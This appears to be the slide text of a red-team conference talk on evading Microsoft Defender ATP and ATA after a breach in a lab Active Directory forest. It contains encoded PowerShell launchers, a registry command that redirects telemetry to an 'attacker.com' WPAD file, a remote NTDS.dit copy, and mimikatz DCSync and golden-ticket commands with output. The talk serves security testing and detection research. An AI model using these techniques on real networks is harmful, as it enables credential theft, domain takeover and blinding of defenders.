MS Just Gave the Blue Team Tactical Nukes

(And How Red Teams Need To Adapt)
Who is this Drew Carey Look Alike On Stage?

- Red Team Ops Lead at IBM X-Force Red

- I conduct red teaming operations against defense contractors and some of North America’s largest banks

- On the board for CREST USA (crest-approved.org)

- I teach network and mobile pentesting

- I like mountain biking, drones, and beer

- It’s my first time, be gentle

- Canadian, sorry not sorry
Lab Background

- 3 domains within 2012R2 Forest & 2016 Forest, connected via 2-way Forest Trust
- 3000~ users
- ATP RS2 running on 10x Windows 10 1703 boxes with all ATP default and preview features enabled
- 10x 2012R2/2016 member servers running SQL 2012, etc.
- Both forests have an ATA 1.8 Lightweight Gateway running 1.7 since March, upgraded to 1.8 early July
Tactical nukes? wut?
We’re Talking Post Breach

ATP’s Cloud-Based Management Dashboard Intro

Windows Defender Security Center | Dashboard

Active alerts

- Low: 0
- Medium: 12
- High: 6
- Informational: 6

New: 18
In progress: 0

07.12.2017  Windows Defender AV detected an active ‘Mikatz’ credential
07.12.2017  Hacktool Mimikatz detected
07.12.2017  Hacktool Mimikatz detected
07.11.2017  A malicious PowerShell Cmdlet was invoked on the machine.
07.11.2017  Windows Defender AV detected an active ‘Potaesc’ exploit ...
07.10.2017  Suspicious Powershell commandline
07.10.2017  Unexpected behavior observed by a process run with no co...
07.10.2017  Windows Defender AV detected an active ‘Mikatz’ credenti...
07.10.2017  Suspicious Powershell commandline

Machines at risk

- win10a: 0
- win10b: 0
- win10d: 0
- desktop-fvi6ddg: 0

Users at risk

- dev\franklinabbott: 4
- prod\edwardabbey: 4
- dev\myronhayes: 2

Machines with active malware alerts

Graph showing malware alert distribution.
Incident Graphs
Host Management

Windows Defender Security Center - Machine

- Machines view
- win10f

Actions:
- Collect investigation package
- Isolate machine
- Action center

Logged on users (last 30 days):

- Most frequent: dev\administrator (Local admin)
- Least frequent: dev\ronaldmiller (Standard user)

Network Disabled
Your IT administrator has caused Windows Defender to disconnect your device.
Contact IT help desk.
Upcoming Windows 10 Fall Creators Update w/ ATP Release 3

Defender “brand” expanded to include:

- Windows Defender AV
- Windows Defender Advanced Threat Protection
- Windows Defender **Exploit Guard** (EMET)
- Windows Defender **Application Guard**
- Windows Defender **Device Guard**
- **Credential Guard**
- Extended to cover the Windows Server platform, starting with **Windows Server 2012 R2 and 2016**, Linux

Gaining a Foothold w/ Out Of The Box Payloads

Suspicious Powershell commandline

Manage

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description
A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline
"powershell.exe" -noP -sta -w 1 -enc WwBSAEUARgBdAC4AQQBzAFMARQ8NAGlAbABZAC4ARwBFAFQAVABZAHAAsQAcACcAUwB5AHMAAdABlAG0ALgBNAGEAbgBhAGcAZQ8tAgUBgB0AC4AQQB1AHQAbw8tAGEAdAbpAG8AbgAuAEEAbQ8zAGkAVQB0AGkBAbABzACcAKQB8AD8AewAkAF8AFQ8ACUmAwAkAF8ALg8HAGUAyABGAGkAZQ8sAEQAKAAanAGEA
OBzAGkASOBuAGkAbABGAGEAaOBsAGUAZAApACwAlwBOAG8AbnBOAHUAy0eBzAGkAYwAcAFMAAdAbbAHQAfOBUTJKOAuAFMAZOBUAEYAQQOBMAHLUAzoAoACOATbBVAFwA
Obfuscated Payloads

Suspicious Powershell commandline

Severity: Medium
Category: Suspicious Activity
Detection source: Windows Defender ATP

Description
A suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.

The process powershell.exe was executing suspicious commandline

```
"powershell.exe" -NoP -NonI -window Hidden -Exec Bypass -C "set-variable -name " "C-value ; set-variable -name s -value e; set-variable -name q -value c; set-variable -name P -value ((get-variable C).value.toString())+(get-variable s).value.toString())+(get-variable q).value.toString()); powershell (get-variable P).value.toString()) JanZAD0ATgBIAHcALQ8PAgIAagBIAgMAadAAGAEkATwAuAE0AZQ8tAg6AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBIADYANABTAHQAcg8pAG4AZwAoAciASAA0AHMASQBBAEAAEQQ8BAAEAQQ8BMADEAWA
```
Oh right, they talked about PSv5 security last year...

- “Suspicious Strings” are already flagged in PSv5 by default
- PowerShell v5 has Script Block Logging on by default.
- AMSI is also enabled by default...
- You can’t just downgrade to PSv2 to bypass
- Same goes for using NotPowerShell or those that directly call System.Management.Automation.dll
- Common techniques leveraging WScript.Shell, etc. are also caught.
Undetected:

• Bypassing Script Block Logging/AMSI and then executing encoded payloads
• Using VBA shellcode injection and not using Kernel32 API declarations (such as @vysecurity’s cactustorch)
• And sneakier executables with Shelter, diagcabs, etc.

https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/
https://github.com/nccgroup/winpayloads
Remember, we’re talking **POST** Breach

- The challenge doesn’t stop by getting on the box undetected initially... that’s the easy part.
- The problem is detection of activities performed/tools and commands run after you have an initial foothold / C&C:
  - Host Recon
  - Host Priv Esc
  - Internal Domain Recon
  - Internal Network Recon
  - Stealing Creds
  - Lateral Movement
  - Grabbing the NTDS.Dit
Host Recon

```
echo %userdomain%
echo %logonserver%
echo %homepath%
echo %homedrive%
net view
net view \fileserv /all
net share
net accounts
netstat
tasklist /svc
net localgroup Administrators
netsh advfirewall show allprofiles
systeminfo
netstat -anfo
wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list:
```
Side note: Traditional Defender AV also runs as Local System

By the time you read these tweets over your morning coffee, your target’s Defender AV instances were already patched...

Sigh, more critical remote mpengine vulns. Found on Linux then reproduced on Windows, full report on the way. This needs to be sandboxed.

---

Tavis Ormandy
@taviso

I wrote a fuzzer for the unsandboxed x86 emulator in Windows Defender and found arbitrary read/write.
bugs.chromium.org/p/project-zero ...

11:11 AM - 23 Jun 2017

494 Retweets 803 Likes

---

Tavis Ormandy
@taviso

Junghocon @okihardt also found a critical use-after-free in the MsMpEng Javascript interpreter. bugs.chromium.org/p/project-zero...

6 134 189

---

Tavis Ormandy
@taviso

Replying to @taviso @okihardt

These are accessible remotely, service is unsandboxed, enabled by default and running as SYSTEM. So... yeah. \(\_\_\_(\^\^)\_\_/\)

8:55 AM - 30 May 2017

34 Retweets 87 Likes
Must elevate to **system** to stop ATP process, service, modify binaries, etc.

```bash
C:\WINDOWS\system32>taskkill /F /IM MsSense.exe /T
ERROR: The process with PID 10368 (child process of PID 796) could not be terminated.
Reason: Access is denied.
```

```bash
C:\Users\admin>sc stop Sense
[SC] OpenService
Access is denied.
```

```bash
C:\Windows\system32>kill -processname "MsSense"
```

**Alerts related to this machine**

<table>
<thead>
<tr>
<th>Last activity</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>03.04.2017</td>
<td>Tampering with Windows Defender ATP sensor settings</td>
</tr>
<tr>
<td>19:53:52</td>
<td>Installation</td>
</tr>
</tbody>
</table>

The following services are dependent on the Connected User Experiences and Telemetry service. Stopping the Connected User Experiences and Telemetry service will also stop these services.

Windows Defender Advanced Threat Protection Service

Do you want to continue this operation? (Y/N) [N]: Y

System error 5 has occurred.

Access is denied.
Uninstalling

- Unlike other cloud AV products like CrowdStrike R\textsuperscript{TM}, you can't just uninstall them from an elevated command prompt such as:

\[
\text{wmic product where "description='CrowdStrike Sensor Platform'" uninstall}
\]

- ATP requires a generated offboarding script with a SHA256 signed reg key based on the unique Org ID and cert to uninstall:

```plaintext
REG add "HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /v 6961FA1-4030-4FA4-8713-FAFB9B2E7C0A /t REG_SZ /f
"{\"body\":{\"orgIds\":[]},{\"fb2cfae-29e5-4876-abc3-48b986abea42\":[]},\"expirationTimestamp\":1314558243651,\"version\":\"1.11\"},\"sig\":\"WqiiKE1TSciQ9q1Mhba41Uw+MeX3V6rk2FFrd451kVYoiqJYQ/EL1kKjBW81Vo7FaYcx2I0+rzPHt7LL7wpKAxd1RMixug0XgM11X40b+Jzm/AhpKACIhXja7HVxcWFr7sg3garXTloD4xHSvaj642W39woTwCtqRTLTZB76mdbrdEkSCKXk5ThAtFf5oQnhFh2GcjAs0kA/90Jrmt51SAjXDYsTS8tCMa4Y2GPE/YC+nWZR/HIrzXcF2SuEU/JTBBTeJN+/ArPndat2+hWPzDJC5k1xCc3BSFSVyNBIrDbVeYsSkFFFw17uc/Ua+ZDzWhLTTr3I+53L6VGB3Vw==\"},\"sha256sig\":\"DxKkdds3PtvN+LbrqBdj9BqAqsfau4bhrhpWN+0+57U8i3V4K8r4wU3Fk0BvNWQ+\"
```
The ATP sensor uses Windows Telemetry (DiagTrack service), which in turn uses WinHTTP Services (winhttp.dll.mui) to report sensor data and communicate with the Windows Defender ATP cloud service.
Disrupt ATP Comms as an Unprivileged User

- The WinHTTP API is independent of Windows Internet (WinInet) internet browsing proxy settings, however it will follow statically set proxy settings within HKCU via the function WinHttpGetProxyForUrl.

- As unprivileged user, you can also manually configure this (no restart required) at:

  ```
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /D 0 /f
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f
  ```

- Note this only blocks ATP (Sense), not Windows Defender AV, as AV doesn’t use WinHTTP.
You can use the same technique to block traffic for Event Log Forwarding, Sysmon, SCOM, etc.
Why Block Instead Of Disabling?

• Very quick...
• Doesn’t require escalating to system
• Doesn’t alert on communication error within Security Centre/cloud ATP console for 7 days
• Initial IR shows the service/process still running
• This issue isn't unique to ATP...
ATA

- ATA Center
- ATA Gateway
- ATA Lightweight Gateway
- ATA needs the following Windows events: 4776, 4732, 4733, 4728, 4729, 4756, 4757
- Can integrate with SIEM (syslog) & VPN (Radius)
Learning Period

1 month of learning:
• Abnormal behavior
• Abnormal sensitive group modification
• Recon using directory services

1 week of learning:
• Encryption downgrades (skeleton key, golden ticket, over pass the hash)
• Brute force
Detected: Internal Recon Activities

**Detected:** AD recon via typical queries like “net user /domain”

**Detected:** DNS queries and zone transfers

**Detected:** User session enumeration via PowerView, NetSess, etc.
Not Detected: Enumeration via WMI Local Name Space

Domain User Accounts:

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired, PasswordChangeableable, Description, SID

Domain Groups:

Get-WmiObject -Class Win32_GroupInDomain | Select PartComponent | Select-String -Pattern "Microsoft Advanced Threat Analytics"

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%SQL%'"

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%Admin%'"

Domain Group User Memberships:

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='DNSAdmins'" | Get-CimAssociatedInstance -Association Win32_GroupUser

Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association Win32_GroupUser
Examples

```powershell
PS C:\Users\FranklinAbbott> Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser
Name                   Caption      AccountType SID                  Domain
--------------------   ----------   -----------  --------    -------
Administrator         DEV\Administrator 512        S-1-5-21-1833099165-42... DEV

PS C:\Users\FranklinAbbott> Get-WmiObject -Class Win32_GroupInDomain | Select PartComponent | Select-String -Pattern ^Microsoft Advanced Threat Analytics$[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="DEV",Name="Microsoft Advanced Threat Analytics Administrators"]
[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="DEV",Name="Microsoft Advanced Threat Analytics Users"]
[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="DEV",Name="Microsoft Advanced Threat Analytics Viewers"]
[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="PROD",Name="Microsoft Advanced Threat Analytics Administrators"]
[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="PROD",Name="Microsoft Advanced Threat Analytics Users"]
[PartComponent="WIN10B root\cimv2:Win32_Group.Domain="PROD",Name="Microsoft Advanced Threat Analytics Viewers"]
```

Audit Success 7/9/2017 12:17:34 PM | Microsoft Windows security auditing.
Audit Success 7/9/2017 12:17:34 PM | Microsoft Windows security auditing.

Event 4799. Microsoft Windows security auditing.

**General**

A security-enabled local group membership was enumerated.

**Subject:**
- Security ID: DEV\FranklinAbbott
- Account Name: FranklinAbbott
- Account Domain: DEV
- Logon ID: D\x14132C2

**Groups:**
- Administrator

**Log Name:** Security
**Source:** Microsoft Windows security
**Logged:** 7/9/2017 12:17:34 PM
**Event ID:** 4799
**Task Category:** Security Group Management
**Level:** Information
**Keywords:** Audit Success
**User:** N/A
**Computer:** Win10b-v Haley
Forest Trusts

Demo
Lateral Movement via SQL
Detected: DCSync

mimikatz # lsadump::dcsync /domain prod.local /user:krbtgt

Malicious replication of directory services

Malicious replication requests were successfully performed by Administrator, from WIN10A against DC03.

Copying NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class

- Using a technique by @0xbadjuju, we can use the WMI Win32_ShadowCopy Class to dump the ntds.dit via volume shadow copies without having to call vssadmin.exe

```
PS T:\> $DeviceObject \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
PS T:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit c:\" -ComputerName 10.1.11.170 -CREDENTIAl $cred
```

- Copying the NTDS.dit and SYSTEM files from a workstation isn’t detected by ATP

- But is flagged only as a LOW severity event in ATA due to execution:

  Remote execution attempt detected

  The following remote execution attempts were performed on DC03 from WIN10A:
  - Attempted remote execution of one or more WMI methods by Administrator.

  Started at 11:58 AM Jul 12, 2017
Detected: Golden Tickets Detection (Using KRBTGT NTLM Hash)

kerberos::golden /user:EdwardAbbey /domain:prod.local /sid:S-1-5-21-2184559304-2325842030-2845129662-500 /krbtgt:43f53b1c3516a08b2c33ded83bff0c9f /groups:513,512,520,518,519 /ptt

Encryption downgrade activity

The encryption method of the TGT field of TGS_REQ message from WIN10A has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on WIN10A.

1:55 PM – 2:59 PM Jul 12, 2017
Not Detected: Using AES Key

kerberos::golden /user:JohnVanwagoner /domain:prod.local/

sid:S-1-5-21-2184559304-2325842030-2845129662/
aes256:05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff3cea13bae2e9/
groups:512,513 /startoffset:-1 /endin:500 /renewmax:3000 /ptt

mimikatz # kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:S-1-5-21-2184559304-2325842030-2845129662 /aes256:05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff3cea13bae2e9 /groups:512,513 /startoffset:-1 /endin:10 /renewmax:3000 /ptt
User: JohnVanwagoner
Domain: prod.local (PROD)
SID: S-1-5-21-2184559304-2325842030-2845129662
User Id: 500
Groups Id: *512 513
ServiceKey: 05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff3cea13bae2e9 - aes256_hmac
-> Ticket: ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'JohnVanwagoner @ prod.local' successfully submitted for current session

mimikatz # exit
Bye!

C:\Users\JohnVanwagoner\Desktop> dir \dc03.prod.local\c$\windows\ntds
Volume in drive \dc03.prod.local\c$ has no label.
Volume Serial Number is 5C52-0D56

Directory of \dc03.prod.local\c$\windows\ntds

07/12/2017 09:16 AM <DIR> ..
Big Thanks / Sources

- @angus_tx, @nosteve, and the rest of the IBM X-Force Red crew

- @0xbadjuju, @nullbind, NetSPI for PowerUp SQL and WMI techniques

- @mattifestation and the rest of the ATP/ATA crew at MS

- @cobbr_io, @danielhbohannon, @nikhil_mitt, @kevin_Robertson, @gentilkiwi, @armitagehacker, @harmj0y, @JershMagersh, @vysecurity, and many others for tools, techniques, and giving back to the community